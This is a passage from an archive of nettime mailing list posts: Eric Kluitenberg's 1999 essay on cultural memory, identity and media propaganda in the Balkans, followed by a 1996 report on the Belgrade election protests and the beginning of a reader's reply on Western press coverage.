                "content": "\nDear nettimers,\n\nThis rather long text is the extension of a lecture I presented in Tirana\n(Piramedia), Tallinn (ACTION - REFLECTION) and Prague (Translocation). \nBecause of the enormous scope of the topic I opted for a rather personal\napproach. The text will be published in the forthcoming book MEDIA \u02c7\nREVOLUTION, edited by Stephen Kovats, Edition Bauhaus #6, published by the\nCampus Verlag (Frankfurt a/M & New York), and is due for release as a\nbiligual german/english edition on October 11, 1999. It will be\naccompanied by the ostranenie 99 CD ROM. \n\nhope it is of interest to a few of you\n\neric\n\n\n\n___________________\n\n\nThe Politics of Cultural Memory\n\n\n\n\tUpon her spoon this motto\n\twonderfully designed:\n\t\"Violence completes the partial mind.\" [0]\n\n\n\nIdentity, Belonging and Necessity\n\nA visit I made to Tirana (Albania) in April 1998 marked the start of a\npersonal investigation. An investigation into a complicated field,\nsomewhere between cultural memory and politics. What I wanted to do is to\nsketch out and map a territory of identity, memory, politics, and media. \nThe need for this was primarily of a personal nature. There was no\nexpectation that I would be able to get any kind of complete understanding\nof what the relationship of politics and cultural memory entails.\nCertainly not beyond the excellent writings that have been produced\nalready in this area, most of whom I am quite ignorant of. Yet, feeling\nthe need to do this, if only for myself, seemed enough of an incentive.\nSince everyone's experience is always different and specific, my findings\nmight even be useful for others grappling with the same questions I wanted\nto map out. \n\nMy need for this investigation originated from an unresolved dilemma. \nWriting this in July 1999, the dilemma, obviously, remains unresolved,\nthough it still strikes me as something dramatic. One of those crucial\nexperiences you would have gladly dispensed with. \n\nThis particular story starts in Tallinn in 1995. I was invited to help put\ntogether a conference on the social and cultural impact of digital media\nand networking technologies on the Baltic states, called \"Interstanding -\nUnderstanding Interactivity\". The aim of the event was to go beyond the\neconomic and technological perspectives, and develop something of a\ncritical cultural and social point of view. \n\nWe were at the end of the second day of the three-day conference. The\ntopic was \"Community and Identity in the Global Infosphere\", and a host of\nspeakers was dealing with ways of reconstructing identity and the social\nsphere in the realm of digital media. At some point the sys-op of the\nZAMIR peace network from the former Yugoslavia (who happened to be present\nin the audience)  grabbed the microphone and made a short, clear, and\nrather devastating comment: \n\n\"We've been talking all day about identity issues now, and their value.\nOur recent experiences, however, have taught us that nothing sets people\nmore apart than identity!\" \n\nI had, as I still have, no answer to this objection. It couldn't have\npinpointed the dilemma more clearly. The idea we had started from was to\nquestion what two simultaneous extraordinary transformations meant for a\ncountry like Estonia. On the one hand Estonia was contained in a process\nof re-inventing its national identity, a few years after breaking free\nfrom the former Soviet Empire and Russian rule. At the same time Estonia\nhad entered the information era overnight, depending for its economic\nsurvival on a networked international economy that undermined the very\nnotions of national sovereignty it had just retained. The notion of a\nnational Estonian identity is deeply problematic, if only because of the\nlarge Russian minority within its borders, which comprises one third of\nthe overall population of the country. \n\nThe reconstitution of national identity is a fundamental dilemma that pops\nup again and again in the aftermath of the revolutionary changes that have\ntaken places in the former 'East'. Identity is belonging, and a basic\nsense of belonging to me seems indispensable for any kind of social\nstructure to be able to function, for any kind of social cohesion to\nemerge. The refusal of the identity question in name of a universal\nideology (modernism) or materialist system (neo-liberalism), inevitably\nleads to a reactionary response. Identity forges connection, but it is\nsimultaneously also a principle of separation. This principle of\nseparation is at the heart of the dilemma we suddenly saw ourselves faced\nwith that afternoon in Tallinn. \n\n\nDeep Europe\n\nEurope is a container of identities. A sedimental layering of cultures\npast and present, in permanent flux between moments of crisis and tragic\nsublimity. In this shifting landscape the dilemmas of identity can turn\ninto drama, especially in those regions where Europe is at its 'deepest',\ni.e. where most identities overlap (and collide). This sedimentary image\nof the cultural map of Europe derives from the concept of Deep Europe, as\nput forward by the Bulgarian artist Luchezar Boyadijev. Boyadijev provides\na highly original reading of post-wall Europe. \n\nIn Boyadijev's explanation of 'Deep Europe', \"the notion is a metaphor\nwhich could be problematic. In the logic of this metaphor, deepness or\ndepth is where there are a lot of overlapping identities of various\npeople.  Overlapping in terms of claims over certain historical past, or\ncertain events or certain historical figures or even territories in some\ncases. It could also be claims over language or alphabet, it could be\nanything.  Europe is deepest, where there are a lot of overlapping\nidentities.\" \n\nThe formation of identity is a fundamentally dynamic process. It is also\nsubject to manipulation. The construction of identity refers to a reading\nof the past that can be subjective, incomplete. Sometimes it is linked to\nclear interests of a group. It is often difficult to fully substantiate\nthe claims made in this formation process. Identity, therefore, is not\njust belonging, it is clearly also politics. \n\nIdentity and memory are connected. Identity at the very least means to\nremember one's origins. If memory belongs to a group, a time, a region, a\nnation or any other larger structure, it immediately becomes deeply\npolitical. Cultural memory is crucial in the formation of an identity that\ntranscends the merely personal. Cultural memory is not just museums, books\nand monuments. Cultural Memory rather is politics pur sang! \n\n\nCultural Memory and Collective Identity\n\nThe Estonian philosopher Hasso Krull once remarked in one of his lectures\nthat \"history is a machine going nowhere\". Though he might be right, the\nidea does not seem very useful to the formation of any particular kind of\nsocial order (such as a nation state). Krull's contention will therefore\nnot be likely to gain much approval amongst politicians, whatever their\nsign may be. It is more interesting for any kind of politics to create a\nmeaningful context, both for the present as well as the past. \n\nThis meaningful context can best be understood as a narrative, a way in\nwhich material objects, events, documents and descriptions are linked\ntogether into a coherent narration of past and present. This narration\nconveys to its audience how the present derives from the past, and how the\nsigns that structure and signify the world around them, bear witness to\nthis inextricable connection between past and present. What the objects of\nthe past tell their audience is the necessary state of things in the\npresent. A society doesn't just exist, it is an emergent property of a\nmultitude of events that have shaped its current state. Its members are\nnever alone or alienated, rather, they are interwoven in the very\nhistorical fabric of that society, which shapes their perceptions and\nvalues as much as their immediate physical and social environment. \n\nThe objects belonging to the cultural heritage of a given society are\nnever isolated bodies in a decontextualised hyperspace, nor are they\nself-contained objects in a post-historical era. Their symbolic\nsignificance is not contained so much in their artistic or aesthetic\nqualities as such, but rather in the degree to which they are part of a\nconvincing narrative that binds the object and the viewer together in a\nshared system of beliefs. What the object and the audience tell each other\nis that their inalienable connection testifies to a continuity, which\ntranscends the limitations of the merely individual, in time (history) as\nwell as in space (a people). \n\nThat is, if you believe in it. \n\nThere are various ways to describe this function. The Egyptologist Jan\nAssmann speaks of cultural memory as a connective structure founding group\nidentity through ritual and a textual coherence [1]. He explains that the\npast is never remembered for its own sake. Its main functions are to\ncreate a sense of continuity and to act as a motor for development. The\npresent is situated at the end of a collective path as meaningful,\nnecessary and unalterable. Assman defines such cultural narratives as\n'mytho-motorics'.  They motivate development and change by presenting the\npresent as a deficient reflection of a heroic mythological past. A past\nwhich should be restored for the future. \n\nWhat this view implies is that cultural memory acts beyond the founding of\ngroup identity and continuity of present and past, into the future. It\npresents a particular view of the future as necessary, and provides\ndirection for collective action in the present to move towards it. The\ngoal is to recapture and restore the ideals which have been lost in the\ndeficient imperfections of present day-life. Ideals that can be retained\nthrough collective action, whether this be in the form of ritual or rather\nthrough revolutionary change. \n\nCultural memory in a living culture is never fixed. It involves a constant\nreinterpretation of the present in terms of the past to decide on possible\nactions for the future. Meaning can shift and rituals can take on\ndifferent forms. Rather than being fixed in an anthropological text book,\nthe cultural memory of living cultures is suspect to manipulation. Since\nthe definition of cultural memory depends on a continuous exchange between\nthe memory objects of a given culture and their interpretation by its\nmembers, it is however difficult to reveal the outcome as fraud. Cultural\nmemory simply is the outcome of this interplay. It is the process that\ncounts, and not its arbitrary fixation. \n\nThe definition of identity that results from this memory construction,\ntherefore is deeply imaginary. Benedict Anderson has convincingly argued\nthat \"all communities larger than primordial villages of face-to-face\ncontact are imagined.\" Imagined because they deal with how people imagine\nthemselves and one another. Today almost all communities people belong to,\nare too large to allow for direct face to face contact between all its\nmembers. Therefore the modes of imagination employed to imagine one's\ncommunity must somehow be organised via an inbetween mechanism or\napparatus (i.e. media in the broadest sense of the word). \n\nThe set of values and ideas that binds people together in a community\nnecessarily have to become mediated values and ideas. There is nothing new\nin this, nor is it something pertaining specifically to the formation of\nthe nation state. Someone argued with me after a lecture about this topic\nthat if you would have asked a random inhabitant of Western Europe in the\nlate medieval times to define her or his identity, the most likely\nresponse would have been; \"Christian\", clearly illustrating a grand\ntransnational identity-structure. Even more so, the measure of control\nover the media that dominated identity discourse then and now is probably\nquite comparable. The era of electronic media does, however, introduce a\nnew dimension of speed to this process; a fatal acceleration towards the\nimmediate. \n\n\nLocation of Memory: \n\nWhere is the memory of a culture, of a society located?  Principally in\nthe memory objects that hold the traces of the past. As noted before, in a\nliving culture this location is fluid and dynamic.  Memory is stored both\nin material and immaterial forms. \n\nA seemingly stable container of cultural memory is the built environment. \nThe streets of cities and villages, the architecture of the buildings, the\nartefacts that inhabit the living space, they all testify to the\npersistence of a culture's and a societies' memory. It was hardly a\nsurprise, in retrospect, that an ahistorical, or maybe better\nanti-historical, cultural movement such as the Italian Futurists hailed\nthe virtues of war to destroy the stifling remains of moulded, bankrupt\nand corrupted cultural history. The explosive beauty of the modern war\nmachine, ecstatically embraced as a relentlessly powerful tool to break\nthe chains of a suffocating cultural past. \n\nThe monument as a physical embodiment of community memory, has, of course,\nalways been a focal point for the struggles over cultural memory. \n\nCultural memory is also contained in immaterial form. First of all in\nlanguage, both in spoken language as well as in its written forms. Orality\nand speech seem to be imbued with a much more subtle connection to\nhistory.  Speech, through accent and choice of words is usually connected\nto a regional origin. Accent and dialect are the regional containers of\ncultural memory par excellence, they are as much part of the narration of\npast and present, as the stories they convey. It would be interesting to\nquestion if the concept of a nation state is conceivable at all without a\nwriting system? \n\nLike the monument, language is an embodiment of community memory, albeit\nan immaterial one. Language has often become the battle ground for\ncultural and political conflicts. In part these conflicts revolve around\nthe suppression of a local language or dialect to facilitate the\nsuperimposition of a new dominant cultural system. There are also other\nmore hidden forms of assimilation and resistance that can become the\nobject of such clashes. \n\nIn Estonia, for instance, the suppression of the Estonian language was\nquite overt during the Soviet occupation of the country. The Estonian\nlanguage was stripped of its official use-value and relegated to the\npersonal realm. Russian as the new state language (i.e. the language of\nbureaucracy) took its place. But exactly through this shift from public\nlife to the personal sphere, the threatened national identity and the\npersonal identification of the Estonians became deeply associated with the\nuse of the Estonian language. For them it was particularly shocking that\nEstonian officials of the Soviet system started to 'Russify' the Estonian\nlanguage by importing alien language structures from the Russian language\ninto Estonian. One such example was the introductory phrase most Russians\nwould use, saying \"I am X, son of Y\", which was then also used by these\nofficials when they introduced themselves in Estonian. By most Estonians\nthese subtle modifications of their native language, were felt as a\nparticularly direct assault on the sovereignty of this last personal\nsphere. \n\nMusic is another strong container of culturally specific memory\nstructures, like rhyme, its formal characteristics ensure a pertinence\nfrom one generation to the next beyond and outside of a writing system. In\na larger sense, aesthetic and formal design principles are the immaterial\nprinciples that structure the awareness of the viewer about the cultural\nsignificance of individual objects, even if no explicit story is connected\nto them.  Obviously there are countless art objects and use objects that\nphysically embody these principles, but it seems that their \"narration\"\ndetermines their meaning in a living culture. Cultural memory in these\ninstances is located principally in our heads, rather than in the memory\nobjects themselves. \n\nToday, this memory function is increasingly organised via the media\nsystem, of print, electric, electronic and digital media. This media\nsystem has become increasingly integrated, both through technological\ndevelopments (such as digitalisation), and because of economic integration\n(mergers and concentration in the media-industries). This integrated media\nsystem internalises the main functions of cultural memory, it becomes its\nprincipal 'location'. It acts as a documentation system, of current as\nwell as past events. The latter by making use of continuous references to\nthat past with historical media documents. The integrated media-space also\nacts as a system of symbolic representation; of individuals that represent\npower (political leadership) or spiritual values (religious leaders), or\nsimply by setting an artistic or interpretative agenda. \n\nWhat the media system is particularly good at is the creation of\ncollective narratives. TV so far champions this function as Marshall\nMcLuhan already rightfully observed in the mid-sixties, reflecting on the\nTV coverage of the Kennedy funeral.  McLuhan writes: \"Kennedy was an\nexcellent TV image. With TV, Kennedy found it natural to involve the\nnation in the office of the Presidency, both as an operation and as an\nimage. TV reaches out for the corporate attributes of office. Potentially,\nit can transform the Presidency into a monarchistic dynasty. A merely\nelective Presidency scarcely affords the depth of dedication and\ncommitment demanded by the TV form.\" [2] (...)\"Perhaps it was the Kennedy\nfuneral that most strongly impressed the audience with the power of TV to\ninvest an occasion with the character of corporate participation. No\nnational event except in sports has ever had such coverage or such an\naudience. It revealed the unrivalled power of TV to achieve involvement in\na complex process. The funeral as a corporate process caused even the\nimage of sport to pale and dwindle into punny proportions. The Kennedy\nfuneral, in short, manifested the power of TV to involve an entire\npopulation in a ritual process.\" [3]\n\nQuite recently this enormous power of TV to integrate a public of billions\ninto a collective act of cognitive processing in depth was again\nstrikingly illustrated. First by the televised wedding of Princess Diana,\nbut most of all by the almost global live coverage of her funeral,\nfollowing her tragic death. In the process of the televisual rendition of\na royal fairy tale-turned-nightmare, Princess Di became a purely\nsymbolical embodiment of community values and aspirations, making her no\nmore real than Delacroix's liberty, leading the people. \n\n\nCommodification of cultural memory in the information age\n\nThe European Union has identified Europe's cultural heritage as its\ngreatest 'info-asset' for the information economy of the future. It has\nengaged in a scheme for offering multimedia access to Europe's cultural\nheritage as a business opportunity. Given that the core of the future\ninformation economy is information goods, and given that there is a\nparticular interest in rich \"content\" for the information and\ncommunication structures of the \"emerging information society\", the EU has\ndeclared the commercial exploitation of multi-media access to the cultural\nheritage of Europe the highest aim of its funding programs in this field. \n\nThrough a \"Memorandum of Understanding\" and the establishment of\n\"co-operation frameworks\" such as MEDICI (Multi Media Access to Europe's\nCultural Heritage), this new market sector (cultural content industries)\nis actively encouraged. The notion of culture as public domain does not\nseem to have been a consideration when these policies were developed. Even\nless so does this policy-framework open up any spaces for critical debate. \n\nThis failed opportunity may in part be understood as a reluctance on the\npart of the European Union to give itself a cultural definition, given the\ngreat diversity of cultural identities within its (expanding) territory.\nIt is, however, problematic that in a period of European integration, the\nEU is not willing or able to create a space for critical debate about the\nurgent questions of the new cultural formations in Europe. Together with\nthe lack of democratic substance the European Union has become an abstract\nand alienated technocratic and bureaucratic structure, that affords little\nopportunity for identification to its 'citizens'. \n\n\nUncritical Regionalism\n\nBoris Groys has pointed out a more subtle form of commodification of\ncultural memory. It starts with a strong anti-modern resentment, which is\nparticularly notable in the countries of the \"former East\" of Europe.\nGroys notes that modern art does indeed negate the old cultural identities\nand their perceived historical unicity, originality and authenticity. The\ndefenders of national identity do not appreciate that, but also the\n\"international visitor of the virtual museum of identities\", who has no\nwish to be confused by ambiguous signs, has no appreciation for it. \n\nThis postmodern cultural tourist, lost in the decontextualised societies\nof spectacles and ubiquitous consumerism, is looking for a lost cultural\nauthenticity which she/he hopes to find in the revival of pre-modern\nidentity and sentiment, particularly in 'the former East'. \"The global,\npostmodern, fl\u00e2neur, lacking a clear definition of identity, is certainly\nsceptical about any claim to a universal truth. But it is exactly this\nfundamental scepticism that allows the acceptance of any other point of\nview, as long as it understands itself as regional and does not claim\nuniversal validity\", Groys writes. This attitude results in an unpleasant\ncomplicity of a reactionary regionalism and the international cultural\ntourist industry, where even certain cultural fundamentalisms are\nuncritically accepted, as long as they manifest their claims to an\nabsolute truth on a regional plane. [4]\n\nAlthough Groys acknowledges the museum as a typically modern institution,\nisolating objects from the specific historical and socio-political context\nin which they operate, the \"museified gaze\" of the repressive politics of\nidentity and the international cultural tourist are for him bound together\nwith the museum into a single system. Certain specified memory-objects are\ncharged with meaning by these actors, much in the same way as the museum\ncarefully enacts their display into a coherent narration, to create the\ndeeply desired illusion of a stable identity. The regional fundamentalist'\ndictator is thus seen as a somewhat hyper active, but nonetheless\nsympathetic kind of curator. [5] A last defence outpost of difference in\nan ocean of negated signs. \n\n\n\nPerversion of memory\n\n\n\"Nobody, either now or in the future, has the right to beat you!\" \n\nIn the Balkans, where Europe is at its deepest, the battles over identity\nand memory are the most severe. The clashes over history, territory,\nbelonging, language and religious identity have a traditionally violent\ncharacter and are linked with some of most tragic chapters of European\nhistory. In the wake of European integration and the emergence of\nglobalisation the regional fundamentalist wars seem to have reached an\nunprecedented level of intensity and destructiveness. \n\nIn March 1989, the Slovenian art collective NSK (Neue Slovenische Kunst) /\nLaibach staged a chilling performance in Belgrade, called \"Lecture\", which\nwas to pre-figure the terrible events to follow. The performance also\nrevealed the dangerous character of one of the most sad perversions of\ncultural memory of recent history. In the NSK 'lecture' parts of\nappropriated speeches by the nationalist Serb leader Slobodan Milosevic,\nNazi propaganda minister Joseph Goebbles, and the architect of British\npre-worldwar II appeasement politics Richard Chamberlain, provided the\nelements of an explosive mixture. \n\nThree months later, Slobodan Milosevic would speak in almost the exact\nsame words on Kosovo Polje, the Field of Black Birds, commemorating the\n600th anniversary of the Serbs' defeat at the hands of the Ottoman Turk\nEmpire in 1389 on that very \"field of black birds\". [6] At this occasion\nMilosevic used his famous words 'nobody has the right to beat you',\nreferring to the growing animosities between the Serb and Albanian\npopulation of Kosovo. \n\nBoth ethnic groups disputed their contesting historical claims over the\nterritory of Kosovo. The Serbs stressed their long lived cultural roots in\nthe Kosovar soil, exemplified by the many cultural heritage sites\nconsisting of medieval churches, monasteries and Serbian dominated cities\nand villages. The Albanians on their part stressed their decendance of the\nancient Illyrians, a people who are believed to have occupied the Balkans\nsome time before the ancient Greeks - and 1,000 years before the Slavs. \n\nIn the nationalist rhetoric of the Milosevic regime the cultural heritage\nsites of Kosovo, such as the famous monastries of Zica, Decani, and\nVansjka, were functionalised to serve a sinister political program. Kosovo\nwas declared the cradle of Serbian culture and the Serbian nation, a\ntheory that had been very popular since the days of the Serbian\nnationalist of the late 19th century. It had been this nationalist\nmovement that managed to shake of Ottoman rule finally in 1878, after 500\nyears of occupation. By portraying the cradle of the proud Serbian nation\nunder threat, the right and the need for its territorial defence and\nethnic purification was created by the Milosevic regime. \n\nIn the ten years this regime has ruled the remains of the former\nYugoslavia, it never failed to recognise the importance of the media and\nthe TV in particular. Perhaps Milosevic had read McLuhan with more than an\nabsent minded interest. He and his advisors knew very well how the TV\ncould be employed to create the collective narratives needed to justify\nhis nationalist and ethnically hyper-violent politics, and how to motivate\nthe Serbian people to engage in action. \n\nTV according to McLuhan is a cold medium, it involves in deep cognitive\nprocessing, but does not excite the viewer. If this is true, then the\nmotivation of the viewer towards action of required more than the simple\nexposure to a blatant political message. Goebbles already noted that\npropaganda requires the creation of an 'optimum anxiety level'; a feeling\nof threat and unrest that should, however, not transgress the boundaries\nof panic. \n\nIn Serbia the feeling of constant threat was created by the Milosevic\nregime in various ways. On state-television a relentless campaign, using\nthe horrific images of forced baptism of orthodox Serbs in Croatian\nworldwar II death camps hammered home the message of the luring dangers\nnext door. The reports of international criticism reinforced the feelings\nof being under siege of practically the rest of the world, while mythic\nstories of the partisan achievements helped to boost moral. In this\ngruesome media-mix the evening news became the focal point of a national\nmania, a nation wide brainwash that slowly but surely prepared the grounds\nfor war. \n\nWhen considering the various contesting claims about history, territory,\nlanguage and religion, within the terrain of the former Yugoslavia, the\ncurrent two dimensional maps of the international 'peace' brokering\nagencies seem hopelessly beside the point. When these claims, Croatian,\nSerbian, Muslim, (or possibly even Austro Hungarian), are projected\nindividually onto this terrain, virtually identical maps emerge. Each of\nthese maps would more or less cover the entire terrain of the former\nYugoslavia. This layering of contesting claims and identities over the\ndisputed territory is what constitutes the depth of the Balkans and marks\nits tragedy. Only a three-dimensional map of the terrain of the former\nYugoslavia can therefore properly explain the complexity of its cultural\nhistory. It is also clear, therefore, that within the current\ntwo-dimensional logic of the international peace-brokering agencies, the\nconflicts on the Balkans cannot be resolved. \n\n\nAccess to cultural memory and participatory identity construction\n\n\nIn his book \"The Rise of the Network Society\", Manuel Castells, analyses\nthe rise of two diverging spatial logics. One of these spatial logics is\nclose to what we customarily think of when considering the concept of\nphysical space. Castells calls it the 'space of place'. In this spatial\nlogic, experience is located in an embodied existence, here and now. But\nthis experience is heightened, and to some extent estranged, by the\nemergence of a second spatial logic, which, although connected to the\nfirst, seems to evolve outside of the control of the vast majority of the\nearth's inhabitants; the 'space of flows'. The space of flows consists of\nthe countless disembodied informational and economic interactions within\nthe world's information and communication networks, and is quickly\nbecoming the prime locus of economic power and material wealth. \n\nGiven the profound impact the new configurations of the space of flows\nincreasingly will have on most peoples lives, Castells is deeply concerned\nabout the divergence of these two spatial logics. During the preparatory\ndiscussions for the program of the third Next 5 Minutes conference on\nTactical Media in Amsterdam (march 1999), David Garcia, one of the\nco-editors on our team felt the need to respond to Castells' call for\naction.  Garcia: (...) I believe we must create a more consciously\ndialectical relationship between these two realms, (which Manuel Castells\ndescribes as the Space of Flows and the Space of Place) because (with\nCastells) if they are allowed to diverge to widely, if cultural and\nphysical bridges are not built between these two spatial logic's we may be\nheading (we may already be there) towards life in two parallel universes\n\"whose times cannot meet because they are warped into different dimensions\nof hyper space\".  (...) I believe that one such bridge or entry point may\nlie in notions of reclaiming memory through re-imagining the public\nmonument. I still believe that any broad discussion about the public\ndomain can not be separated from the physical embodiments of community\nmemory in the form of public monuments. \"The model here is that of the\ncity (the polis) in classical antiquity, and the stress is the memorable\naction of the citizen, as it publicly endures in narrative\". \n\nPublic narrative is an activating principle. Memory is never constructed\nsolely for its own sake: It structures the relationship between past and\npresent to formulate a plan for future action. Disputes about public\nnarratives, in the Space of Place are traditionally negotiated\nnon-violently through democratic participation, both in the act of\ncreating memory and the formulation of plans for future action, as well as\ntheir continuous revision. The new networked space of flows requires a\nsimilar democratic participation, or public access. \n\nMore importantly, the new space of networked communications still holds a\npromise and a more profound potential for public participation than the\naccustomed modes of participatory decision making. It transcends the\nlimitations of the regional focus of the embodied space of place, but it\nalso decenters the media control over the completely centralised\nstructures of broadcast media (radio and TV). Paradoxically the new Space\nof Flows simultaneously holds the potential of absolute transparency,\nmaking every single operation within the informational environment\nperfectly traceable.  At which point it threatens to become a space of\nabsolute control and observation - the ultimate instrument of\nauthoritarianism. \n\nThe decentralised media and communications model that the Internet\nintroduced in the beginning of the nineties, is dissipating quickly under\nthe pressures of commercialisation, and (even worse) government control\nover 'harmful content'. Still the best chance for avoiding the dangerous\nmanipulation of memory by an increasingly sophisticated medialised\npropaganda machine, is the radical opening of the media-landscape for a\nmultiplicity of uses. This consciously opened mediascape will constitute\nan integrated electronic space of flows, where countless people will\nengage in the participatory construction of memories and identities,\nsimply by creating their own heterogeneous messages... \n\nMomentarily, three competing models for the future media landscape\ncirculate; a model of complete centralised control, countered by the model\nof complete privatisation and market regulation, and thirdly the model of\nthe networked public sphere. None of these models are self-evident or\ninevitable outcomes of the current phase of transformation the networked\ncommunication system is going through. Their instigation is a matter of\nchoice, of clear real-world interests, and of policy. These choices are\npart of a fundamental political struggle, whose outcome will determine\nwhether the new space of flows will be as experientally empty as the\ntechnocratic structures of the EU, or whether it can offer the spaces of\nidentification and multiplicity that Europe as a whole at least, so\nblatantly lacks at the moment. \n\n\n\nEpilogue: Liberate the wires - Free the ether - Give us Bandwidth! \n\nBandwidth is a technical term. It refers to the information transfer rate\nof an electronic communications system. In social and political terms it\nembodies the question of access to the international communications\nnetworks, in particular to digital networks such as the Internet. \n\nThe Bandwidth Campaign, which was held as part of the Hybrid Workspace\ntemporary media laboratory at documenta X in Kassel, centred on the demand\nfor a more equal distribution of bandwidth across the earth and within\nsociety. It made a radical demand for the creation of structures for\npublic bandwidth to accommodate a host of participatory functions. In the\nbest traditions of the modern art of political propaganda a set of\nunambiguous slogans was created. A selection of these slogans completes my\njourney for now... \n\nBandwidth is the power to speak\n\nBandwidth is the ability to assert yourself\n\nBandwidth is the Power of Access\n\nAccess to information and communication should be a fundamental democratic\nright, for all citizens of the world\n\nWe want bandwidth now! \n\n\n---- Notes:  ----\n\n0 - distilled from the song \"War\" by Henry Cow (Anthony Moore / Peter\nBelgvad), 1974.\n1 - I paraphrase Volker Grassmuck here from his text \"The Living Museum\",\nwhich has been an invaluable source of references. The text can be found\nat: http://www.race.u-tokyo.ac.jp/RACE/TGM/Texts/Museum/museum.html\nGrassmuck refers in his text to: Jan Assmann, \"Das kulturelle Ged\u00e4chtnis.\nSchrift, Erinnerung und politische Identit\u00e4t in fr\u00fchen Hochkulturen\", Beck,\nM\u00fcnchen, 1997.\n2  - Marshall McLuhan, \"Understanding Media - The Extensions of Man\", 1964,\ncited from Routledge, London, 1994, p. 336\n3 -  ibid, p. 337\n4 -  Boris Groys, \"Logik der Sammlung\", Carl Hanser Verlag, M\u00fcnchen, 1997,\npp. 52-53.\n5 -  ibid, p. 54\n6 - \"Kosovo\" in Serbian means \"black bird\"\n\n\nEric Kluitenberg,\nAmsterdam, July 1999.\n\n\n\n#  distributed via nettime-l: no commercial use without permission of author\n#  <nettime> is a moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  un/subscribe: majordomo {AT} bbs.thing.net and\n# \"un/subscribe nettime-l you {AT} address\" in the msg body\n#  archive: http://www.nettime.org/ contact: <nettime {AT} bbs.thing.net>\n",
                "date": "Wed, 21 Jul 1999 18:43:28 +0100",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "199907221514.LAA05446 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9907/msg00083.html",
                "list": "nettime_l",
                "author_name": "Eric Kluitenberg",
                "subject": "<nettime> The Politics of Cultural Memory"
            },
            {
                "id": "00044",
                "content": "\n>From drazen {AT} opennet.org Mon Nov 25 23:36:58 1996\n\nTime for justice!\n\nThe second round of municipal elections in Serbia turned out in something\nnobody could expect. After triumphal victory on the federal level for ruling\nparty and its satellites, local municipal elections in their second (and it\nshould be) final round showed totally different picture. In 15 of 18 major\nsites in Serbia ruling party of Slobodan Milosevich suffered great losses,\nand opposition coalition \"Together\" took vast majority of votes. In some\ncities, like Belgrade, opposition took more then 90% of votes and it turned\nout to be disastrous debacle for Slobodan Milosevich. The results of\nelections imply that the opposition should take total control of all major\nindustrial cities in Serbia.\n\nSo, after urban population showed its will, the ruling party and its\ninfrastructure of corrupt judges and courts has denied the results of\nelections, due to \"irregularities\". So they cancelled results of elections\nin almost all places where they were in minority and called for a third\nround that should take place on Wednesday. (For example in Belgrade\nopposition took 70 mandates of 120, but after \"legal intervention\" the\nnumber was lowered to 27!)\n\nAll that caused revolt of people all around Serbia, so huge protests on the\nstreets of cities started. Today is the sixth day of protests, and only in\nBelgrade more then 200 000 people protested for more then six hours in a\nvery cold winter day. Every day at 15:00  protests start, and people\npeacefully express their claims so that their will should be respected.\nToday students from Belgrade University entered into the protest and claimed\nthat they will not go back to classrooms until the government does not obey\nthe results of elections.\n\nThe radio B92 is the only electronic independent medium in Belgrade and is\nthe only source of reliable information. During regular protest routine,\ndemonstrants go every day in front of regime's TV station and newspapers and\nexpress their revolt and at the end of march they come in front of B92 and\nshow their gratitude for the incredible effort and enthusiasm of B92\njournalists.  \nOn several occasions we expected that police will step in and close the\nradio (as well as its Internet department) but happily we are operational so\nfar.\n\nNobody could predict how and when this will end. Both sides are firmly on\ntheir standpoints. People want justice for their free political will and\nMilosevich does not want to lose even tiny bit of its ruling power. Until\nnow everything went without incidents, and everybody expects it will stay\nthat way. But, the tension is rising every day, as well as the number of\ndemonstants on the streets.\n\nHopping that justice will win in the end \nDrazen Pantic\n\n\n\n\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                "to": "nettime-l {AT} desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9611/msg00044.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "nettime: report from belgrad",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "Armin Medosch <ame {AT} tp.heise.de>",
                        "content": "\nHello nettimers,\n\nI am really glad about this report from Belgrade, especially since the\nbig german newspapers don\u0164t write about it. \n\nToday in \"Sueddeutsche Zeitung\", which is the biggest \"quality\"\nnewspaper in Germany there was only a ten line article. Titled \"Biggest\ndemonstrations against Milosevic since 1991\" it writes in a very vague\nway about the whole thing, letting it look like some students\ndemonstrations. Also the manipulation of election results by the\ngovernment are not reported as fact but as \"said to be\". On the same\npage there is a rather big article about former Turkish President Ylmaz\nbeing beaten on his nose in Hungary. For me this shows that \"Western\nDemocratic Media\" are not really that democratic or that free, but\nrather selective. Disinformation can also be created by focusing on some\ntopics and on others not. I don\u0164t understand, why big Western media like\nSueddeutsche Zeitung don\u0164t report in big style about the struggle of\nSerbian people against anit-democrat powers, but probably they have some\nreason. Also the media in Germany didn\u0164t complain much about Tudjman\nignoring/suppressing the results of the Zagreb elections.\nSo maybe the reason is that the Germans want the Serbians always look\nlike the bad guys. A self-conscious people\u0164s revolt doesn\u0164t fit into\nthat picture maybe. Or there are any strange deals with Milosevic behind\nthe scene. \n\nThe same journal Sueddeutsche Zeitung also didn\u0164t report any background\ninformation about the riots in Indonesia that summer. All you got to\nknow was, that there is an opposition and ther was some fighting, how\nmany people were injured or killed and taken to prison and that most of\nthem (?!?) were released from jail a few days later. But it was never\ntold that the father of the opposition leader was a democratically\nelected President who was overthrown by a military coup by the now still\ngoverning dictator and that this action was supported by the CIA and\ncould happen while the world was fixated on the war in Palaestina in 67\n(source: Noam Chomsky, Power and Economy). Without this background\nnobody could know how bad it was for the opposition that the daughter of\nthe former president can now not be a candidate for the elections next\nyear in Indonesia because she was removed from the head of the only\nopposition party through this government intervention. At the same time\nIndonesia is considered a \"very interesting market\" and German companies\nlike Telekom and Siemens are doing very good business there. The German\nstate itself sold between 20 and 30 military landing boats (from former\nEast German Navy) to Indonesia. These boats are ideally fitting for\ninvasions of Islands like East-Timor (but this is not the only\nsuppressed region in Indonesia) because they can call at sandy beaches\nand spit out light tanks and armed troops trhough a front hatch. Also\nthese boats are extremely fast, making 60 knots. When the German\nGovernment was attacked by (not too many) journalists about the sale of\nthese boats they defended themselves by saying that all weapons were\ndismantled from the boats. Anyway its easy to install new weapons and\nbetter ones then the 